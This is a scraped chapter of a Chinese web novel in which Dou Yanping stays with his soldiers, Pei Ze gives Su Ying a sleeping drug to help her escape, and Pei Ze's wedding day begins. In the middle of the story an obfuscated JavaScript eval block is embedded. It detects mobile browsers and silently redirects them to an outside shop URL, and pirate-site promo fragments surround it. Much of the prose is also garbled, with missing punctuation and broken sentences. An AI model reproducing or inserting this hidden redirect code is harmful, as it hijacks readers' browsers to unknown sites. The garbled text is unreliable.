第 40 章 逃(上)

作品:《兄长不善

    火把照出一小片红黄的光,窦晏平打马越过山道上又一个急转弯,急急向前飞奔。


    簪子贴着胸膛放好,时不时伸手摸一下,心高高悬着。她不会突然退回这支簪子,更不会连一句话都不曾留给他,她多半是出事了,他必须回去找她。


    “郎君歇会儿吧,”侍从极力跟着他的速度,看着狭窄山道旁连火把都照不到底的陡峭山崖,忧心忡忡,“忙了一整天都不曾歇,夜里山路也不好走,要么歇上半个时辰,我们去前面探探路况?”


    蜀道之难,难于上青天,更何况又是摸黑走夜路。窦晏平稍稍放慢速度,全副精神观察着路况:“我先慢慢走着,你们轮班休息,留两个人跟着我就行。”


    “太危险了,”侍从极力劝着,“郎君还是先歇歇,休息好了天也亮了,正好赶路。”


    窦晏平摇了摇头。窦约走后一丁点消息也没有,如今他又收到了这根簪子,他必须立刻回去。


    身后突然传来模糊的呼唤声:“小将军!小将军!”


    窦晏平回头,远处山头上一大片火把光飞快地向这边逼近,是那些牙兵。拨马让到道边,火光一霎时到了眼前,李春跳下马抓住他的手:“你要回长安?”


    汗湿的手,湿漉漉的握着,李春上了年纪,长途跋涉后气喘吁吁,一双布满血丝的眼紧紧盯着他,窦晏平弯腰回握,语声恳切:“我有些急事,去去就回,李叔等我几天。”


    “这……”李春犹豫着,到底一咬牙,“好,你去吧,我们都等着小将军回来。”


    火把光熊熊照亮半边天空,身后几十匹马几十号人,风尘仆仆汗湿重甲,都是闻讯追过来的牙兵,此时听见窦晏平果然说要离开,片刻惊愕后嘁嘁喳喳议论起来,马匹不安地挪着脚,喷着响鼻,无数探究怀疑的目光一齐看向前方始终不曾下马的人。


    是他太过着急疏忽了,就算要走,也得跟这些人讲清楚才行。窦晏平向四周团团一抱拳,朗声道:“诸位叔叔,诸位兄弟,我有些急事需要赶回长安,只要事情办完我即刻返来,绝不会抛下你们!”


    声音在暗夜中传出去老远,隐隐回荡在空谷间,众牙兵有片刻安静,李春勉强露出笑容:“小将军尽管回去,我们都等着你。”


    却突然有人高声嚷道:“我早说过


    他不会一直留在梓州,你们看看,我说错了没有?


    窦晏平抬眼,是跟在李春身后的一个年轻人,叫不出名字,只知道是近年承袭的名额,先前并不曾跟过窦玄,并不像那些老兵,对窦玄有许多故主之情。


    忙道:“这位兄弟不必担忧,少则六七天,多则十来天,我一定回来。


    昼夜兼程,三四天应当能赶回长安,窦约已经先去打了前站,也许已经有了眉目,他只要尽快赶回去接上她就好,梓州太危险,那就让她留在锦城,那里也是她的家乡,等他安顿好梓州的事,立刻就过去找她。


    “走就走吧,少来假惺惺地哄人!那人根本不信,“谁不知道李璠的人马来了,你看咱们没胜算就怕了,你要走就走,咱们贱命一条,不敢劳贵人操心!


    几个神色桀骜的年轻人七嘴八舌跟着嚷了起来:


    “是啊,人家是长安来的贵人,郡主的儿子,大王的孙子,怎么肯为咱们这些人出头?


    “弟兄们都回去吧,人家不管咱们了,咱们死皮赖脸缠着干嘛!


    “都给我闭嘴!李春狠狠骂着,一鞭子抽过去,“谁许你这么说小将军的?这些天要不是小将军维护咱们,你们早不知道死到哪里去了!


    那人一把抓住鞭梢,冷笑道:“我贱命一条,死就死了,不怕!咱们最见不得说一套做一套的,说给咱们钱粮管咱们的着落,这些天谁见过他一文钱,谁吃过他一口粮?!


    “就是,光嘴上说得好听!


    狭窄的山道上无数人一齐吵嚷起来,窦晏平沉默着望过去,心里矛盾到了极点。李璠的援军已到,人数上压倒的优势,若是他不管,牙兵要么低头认了李璠的安排,各自离散自求出路,要么就还是像先前一样,拼个你死我活。


    他想的还是太简单了,以为去去就回,这边依旧可以谈判,但牙兵们并不全都相信他,说到底,他来的时间太短,还不足以树立起威望。


    可苏樱,他又怎么能抛下她不管?


    “小将军,走吧,李春拽回鞭子,向他躬身叉手,“祝你一路顺风,李春就不远送了。


    火把光照着,窦晏平看见他鬓边的白发,闪闪地带着汗,已经有人开始往回走了,拉着马垂着头,疲惫又沮丧。可她还在长安等他,


    她现在也许就在危险中。窦晏平紧紧攥着拳许久:“李叔我不走了我跟你们回去。”


    “真的?”李春急急回头惊喜地喊了一声“弟兄们小将军不走了!”


    “我跟你们回去”窦晏平抬高了声音“诸位兄弟我前几天已经修书回长安将这边的情形上奏了圣人也请家中尽快筹措钱粮大家再耐心等几天一定会有结果!”


    “小将军!小将军!”老兵们一齐欢呼起来年轻的嘀咕着怀疑着到底也开始振臂高呼“小将军!”


    窦晏平向他们挥着手心中却是一片苍凉他到底是对不起她。低声叫过侍从:“你们兵分两路一路去找苏娘子记得不要去郡主府不要让郡主知道有消息立刻报我另一路去找裴郎君就说我会尽快返程请他先帮我照拂苏娘子。”


    捂着心口隔着衣服摸到那根簪子。对不起念念再等我几天我一定一定回去找你。


    马嵬坡。


    窦约在夜色中拉着马蹑手蹑脚走近在坡脚底下寻了个隐蔽地方先把马拴在树下吃草自己靠在树干坐了伸开两条腿闭着眼打盹儿。


    他已经三四天不曾好好睡觉疲惫到了极点。从锦城回来这一路上都有人追杀第一次是在剑门他正要到驿站投宿一拨人追上来要捉拿他竭尽全力才终于脱身。


    第二次是在广元他找个农家借宿睡到半夜时听见外面动静不对急忙从后窗户翻出去看见先前那帮人摸进院子正要往他屋里拿人幸亏马就拴在房后他偷偷解了缰绳催马冲了出去那些人追了几十里路他钻进山里才终于甩掉。


    最后一次是在褒斜道上


    离长安只剩下不到一百里道路这地段官家馆驿众多附近还有驻军想来那些人也不敢明目张胆来拿人吧。


    窦约在半睡半醒中依旧怀着深深的疑惑。对方训练有素并不像是盗匪之类对方一路紧追不放却又不想杀他为什么?他身上并没有多少钱财他又从不曾跟人结过怨仇。


    思绪即将沉入睡眠


    的空白时窦约突然想到难道是为了他回来办的这趟差事?那些人不想他回来?


    突然听见草丛里马匹嘶叫了一声窦约急急睁开眼看见不远处风吹草低隐约可见几条人影那些人又来了。


    窦约急急解开缰绳跳上马背重重向马肚子上一踢马匹破风也似疾疾向前冲去窦约伏低身子防着后面放箭向着官道方向拼命跑着。快些进城去快些去找苏樱那些人说不定是冲着她去的。


    天亮时卢崇信揉揉充满血丝的眼睛向树荫后隐住身形全神贯注盯着裴府大门。


    昨日虽然在兴道坊扑了空虽然那所院子空荡荡的任何蛛丝马迹都不曾留下但他直觉必定是苏樱她暴露了行迹所以被裴羁换了地方他彻夜不眠赶到裴府亲自坐镇裴羁黄昏时回来之后再没有出去过卢崇信心急如焚也只能按捺住性子再等等裴羁早晚会往她那里去他一定能顺藤摸瓜找到她。


    蓦地听见身后似乎有动静卢崇信刚要回头


    卢崇信没动一双眼极力张望着四下都静悄悄的他那些在附近盯梢的手心居然没有任何反应出了什么事?


    “转过来。”持刀人干脆利索卸了他的佩剑抽走他藏在靴子里的匕首吩咐道。


    卢崇信只得转过来身来。看见一张陌生的男人面孔黄衣玄甲却是金吾卫的打扮不远处齐刷刷绑着的四个人正是他那些手下路边一个黄衫朱履戴着进贤冠的白白一张面皮颌下一根胡须也无看上去像是这些人的头目。


    “你是卢崇信?”那人开了口尖尖细细的声音“跟某走一趟吧。”


    是个宦官职阶还不低。卢崇信立时明白只怕是他的身份暴露了谁干的?


    墙角后一阵靴子响卢元礼走出来往那宦官手里塞了一封银子:“人交给你们了千万请内侍在王枢密面前替我美言几句就说我一直惦记着他老人家请他老人家赐见一面。”


    “好说。”宦官收了银子往怀里一塞“你等着消息吧。”


    卢崇信这下知道了是卢元礼出卖了他但卢元礼怎么会知道他的身份?


    金吾卫上前反剪了双手绑住拉扯着往前走卢元


    礼笑眯眯地粘在道旁看着,卢崇信快走几步,跟上前面的宦官:“劳烦内侍转告王枢密,卢崇信有机密要事禀报他老人家。”


    “哦?”宦官回头,一脸傲慢,“王枢密也不是谁想见就能见的。”


    “金吾卫里有内卫的人,”卢崇信低声道,“我知道是谁。”


    宦官打量着他,半晌:“好。”


    裴府。


    吴藏上前禀报:“方才刘成押走了卢崇信。”


    刘成,王钦的心腹之一,有名的心狠手辣,卢崇信落到他手里,短时间内应当不会再来烦他了。裴羁道:“留意着禁中动静。”


    “我们的人没拦住,窦约进城了,”吴藏看见他眉头一低,知道他是不满,忐忑着低了头,“郎君恕罪。”


    裴羁沉默着,虽然不曾拦住窦约,但他进城后必定会到郡主府求助,南川郡主自会对付他,倒是不消太在意。当务之急,是叶儿。


    原以为一个经验不足的婢子很容易就能抓到,没想到几天过去,竟是丝毫不曾发现叶儿的踪迹。


    外面有脚步声,裴则隔着窗户唤了声:“阿兄。”


    裴羁抬眼,看见她红肿的双眼,眼底下还带着淤青,显然是彻夜未眠。心里涌起复杂滋味,起身开门,向小童吩咐道:“取些冰过来。”


    裴则鼻尖一酸,他要冰,是要给她敷眼。当初苏樱母女刚进门的时候她总是生气,气得整夜整夜睡不着一直哭,裴羁就会用冰浸湿帕子,给她敷眼。


    眼中又泛起泪光,裴则仰头看着裴羁,明明还是从前那个无微不至的兄长,为什么又变得面目全非,让她怎么都不敢相信呢?哽咽着,道:“阿兄,我想求你一件事。”


    裴羁直觉与苏樱有关,沉默着没有说话,裴则深吸一口气:“在我大婚之前,你不要去见她。这是我在家的最后几天了,我不想到时候哭着离家。”


    裴羁心里一软,隐隐又有几分庆幸。若是裴则要求他赶走苏樱,他必定会让她失望,但眼下这个要求,他能办到。“好。”


    昨夜他便不曾去,哪怕再难忍,也终于忍住了。该放一放,让她好好想清楚该怎么让他满意,也该让自己静一静,想想之后该怎么走。


    裴则松一口气:“多谢阿兄。”


    转身离开,回头时,裴


    羁正在窗前目送,裴则下意识地捏了捏藏在袖子里的纸包,耳边响起应穆的话:你兄长已经泥足深陷,不能自拔,你得帮他。


    她会帮他,从前都是他帮她,这一次,该她做点什么了。


    这天裴羁果然不曾往敦义坊去,入夜时看着外面沉沉笼罩的夜色,就好像有看不见的绳索拉着扯着,让人直想往外走。伸手,捏住烛心,将烛焰一点一点,全部碾灭。


    指尖残留着烧灼的痛感,裴羁在黑暗中慢慢躺下,回忆着昨日的情形,用力将外袍一扯。


    绯色公服应声而开,领口半敞,裴羁慢慢抚过咽喉处的伤痕,一点点游走,就好像她的唇在吻着,小巧的舌尖在挑逗着。


    呼吸灼热着,头脑却无比清醒。


    他不会去见她。交易已经谈成,下次相见,是极致的欢愉,也是一刀两断之时。至少眼下,还不到时候。


    一天两天三天,眨眼八天过去,再过一天便是裴则的大婚,黄昏日暮,裴羁负手站在二层露台眺望着敦义坊的方向,吴藏匆匆找来:“郎君,小娘子去了敦义坊。


    裴羁顿了顿,愠怒之中,隐隐几分欢喜,几分犹豫。裴则去了,他就有冠冕堂皇的理由,过去见她。可他们的交易。


    望着山巅如血的残阳,裴羁沉默着,久久不能决断。


    敦义坊。


    外面突然传来争吵的动静,苏樱从窗户里望出去,合欢树浓密的荫影突然被打破,露出裴则沉静如水的芙蓉面。


    她竟然还能找到这处。苏樱惊讶着起身,推开窗户。


    四目相对,裴则微微仰起下巴看她一眼,随即转过脸,冷冷看过院中侍卫:“都退下。


    侍从不敢退,也不敢拦她,眼睁睁看着她迈上台阶往屋里走,张用挡在廊下,试图劝解:“小娘子请回府吧,不然郎君那里……


    “你现在就可以去找我兄长,就说我在这里。裴则并不看他,径直向前走去,“退下!


    眼看两人就要相撞,张用再不敢坚持,急急向边上闪开,裴则迈步进门,目光向侍婢一扫:“都退下。


    侍婢们不敢不退,她关了门,跟着是窗户,拂了拂裙裾,风姿优美地在榻上落座。


    苏樱默默走来,在她对面坐下。她是来找她的,她比上次过来时沉


    稳了许多也许苦难总能让人迅速成长吧。


    “苏樱”裴则抬眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145923|138484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正正看着她“我来是要问你一句话这件事真是我阿兄困着你不是你缠着我阿兄?”


    苏樱抬眼:“你必定已经问过他又何必来问我?”


    是的她问过了


    苏樱皱眉摇头:“我不嫁。”


    她怎么可能嫁裴羁?这些天的屈辱痛苦这每时每刻的焦虑无助如果可能她这辈子再不想跟裴羁扯上丝毫关系。况且她又不傻裴则恨她还来不及又怎么可能让她嫁给裴羁。


    裴则紧紧攥着拳身体不自觉地前倾着既放心于她的回答又下意识地替裴羁不平:“以我阿兄的人品才略你若有机会怎么可能不嫁?”


    人品才略?强迫一个弱女子的人品才略吗?苏樱冷笑:“这世上又不是所有人都想嫁你阿兄。”


    眼看裴则愤愤地又想开口苏樱冷冷打断:“有件事裴羁必定不曾告诉你吧?我与窦晏平早已定过亲。”


    裴则大吃一惊:“你说什么你跟十一哥?”


    苏樱看见她震惊之下瞪大的眼睛不知怎的心里蓦地一阵苦楚转过了脸:“不错。”


    裴则在震惊中看见她红红的眼圈薄薄的肩微微颤抖着她是在忍着不肯哭吗?裴则怔怔的想起昔日她在裴家时窦晏平的确去得很勤的确时常与她在一处说话那时候以为是窦晏平心肠好不忍冷落她现在想来是不是他们那时候就已经好上了。


    那么裴羁就不仅是背叛了母亲和她更是连挚友都辜负了。裴则紧紧攥着拳依旧控制不住身体发抖听见苏樱微带哽咽的质问:“若你是我你选择光明正大地嫁给窦郎君还是和你兄长不明不白地待在这里?你进来时也看见了连这间屋子我都出不去。”


    裴则紧紧攥着拳指甲掐进肉里刺骨的疼。这些天她已经努力在接受这件事接受她敬仰爱戴的兄长背叛了她们与仇人的女儿有了私情甚至这私情还是对方不情愿他强迫做成的。但此时听见苏樱亲口证实又听见窦晏平的事还是如五雷轰顶一般眼前一阵阵发黑。


    耳边再次响起应穆的话:你兄长已经泥足深陷,不能自拔,你得帮他。


    她得帮裴羁。而且,即便对方是她厌恶的苏樱,她也狠不下心,眼睁睁看一个弱女子承受这样的屈辱痛苦。深吸一口气,压低了声音:“你想不想逃?”


    苏樱怔了下,没说话,沉默地看她。


    裴则便自己说了下去:“后天是我大婚之日,我会把这边所有得用的人全部调走,我也会拖住我阿兄,不让他过来,自晨至昏,你有一整个白天的时间。”


    苏樱一颗心砰砰乱跳着,难以置信,紧紧盯着裴则。她那样敬重裴羁,竟然肯帮她?


    案上不知何时多出一个小纸包,裴则手指按住,轻轻推过来:“这一包药,足够十数个人昏睡几个时辰。”


    她没再多说,站起了身。


    苏樱到这时候才有几分相信,急急收起小纸包贴身藏好,裴则看她一眼:“走得越远越好,此生此世,永不相见最好。”


    苏樱点头:“我亦有此意。”


    眼前骤然一亮,裴则拉开门,快步走了出去,苏樱透过窗户望出去,她单薄的身影在庭中一闪,消失在合欢树的浓荫之后。


    侍婢飞快地进门来,警惕地查看四周,苏樱怀里藏着那包药,不动声色坐在案前,抿了口茶水。


    裴则后日大婚,杜若仪已经是韦家主妇,必然不能到裴家主持,那么大婚诸般事宜都将是裴羁与裴道纯张罗,裴道纯一直都不很懂俗务,裴家大部分事情都是裴羁主持,那么从四更裴则起床梳妆开始,一直到黄昏时裴则的婚车出门,他都不会有功夫过来。


    那就四更动手。不过要是明天能走,是不是更好?不,苏樱很快否定了这个想法,张用精明强干,有他在,风险太大,她得等着裴则把张用弄走。况且明天也不是正日子,一旦被裴羁发现,他有足够的时间追上她。


    那么,就定在后天一早,四更时分。找个借口将药下在酒水里,让他们喝下去。大婚的正日子,裴羁即便发现她跑了,即便再着急,也绝不可能抛下裴则过来。


    日色一点点西斜,最终全部落下去,入夜时张用敲门:“娘子收拾一下,现在就走。”


    因为裴则发现了,所以又要换地方了。苏樱披衣起来,蓦地想到,裴羁已经整整八天不曾


    过来了,这是前所未有的事情,是婚事太忙无暇分身,还是裴则拖住了他?


    眨眼已是四月初六,裴则大婚之日。


    裴羁三更不到起床,将婚礼各项事宜核对一遍,又在家中各处细细巡视,确保无有疏漏,正忙时裴道纯来了,皱眉道:“郡王府说迎亲的仪仗突然有几个人染病来不了,着急找人顶替,我报了张用、吴藏、彭成他们几个,你让他们快些去郡王府跟着练一练。


    裴则出嫁是郡王娶正妃的规格,舆马鼓乐都有定规,仪仗的人数规格亦是规定好的,不能缺少,张用、吴藏几个跟着他多年,眼界能力都是拔尖,有他们顶上,自然不会出错。只是张用要在苏樱那边留守,彭成又是张用得力的副手。裴羁有些意外,但婚事无数琐碎,这也不是头一件意外之事,叫过吴藏:“你去叫上张用和彭成,直接过去郡王府听命。


    裴道纯松一口气,事发突然,他急切之间全想不出人,要不是裴则提醒了张用几个,今天还真要出岔子了。忙道:“我去给郡王府回话,你去看看你妹妹收拾得怎么样了。


    说</a>的域名caixs?(请来才小


    说


    看最新章节


    完整章节)


    裴羁来到内院,隔着窗看见喜娘、妆娘在旁候着,裴则洗漱完了正在吃饭。那日裴则闯过敦义坊后他几次追问,裴则始终只说是自己找到的,但裴羁哪里肯信?他很疑心是应穆在暗中相助,也很怀疑应穆的意图,此时望着紧张又欢喜的裴则,更觉得满心都是不舍,担忧。


    “阿兄来了,裴则已经看见了他,“陪我一道吃吧。


    裴羁顿了顿,本不想吃,又想到今后兄妹俩恐怕再没有机会一道用早饭,进门在她对面坐下,夹了她素日喜欢的春笋送过去:“吃吧。


    裴则也给他夹菜,眼圈红红的不怎么说话,裴羁看着她吃了一碗燕窝粥,一个豆沙馅馒首,喜娘上前阻拦道:“今日可不能多吃呢,一整天时间新妇都得让人观瞻,吃多了不方便。


    裴羁知道,这是怕吃多了想要如厕,既不好看,又容易弄花妆面,沾染衣裳。但这顿饭,是裴则出阁前在家中的最后一顿了。心里说不出是什么滋味,淡淡道:“吃吧。


    他发了话,喜娘也不敢再拦,裴则又吃了几个果子,侍婢服侍着漱了齿,跟着便是梳妆上头,裴羁正要回避,裴则急急叫住:“阿兄别走!我有点怕,你在外面等着我吧。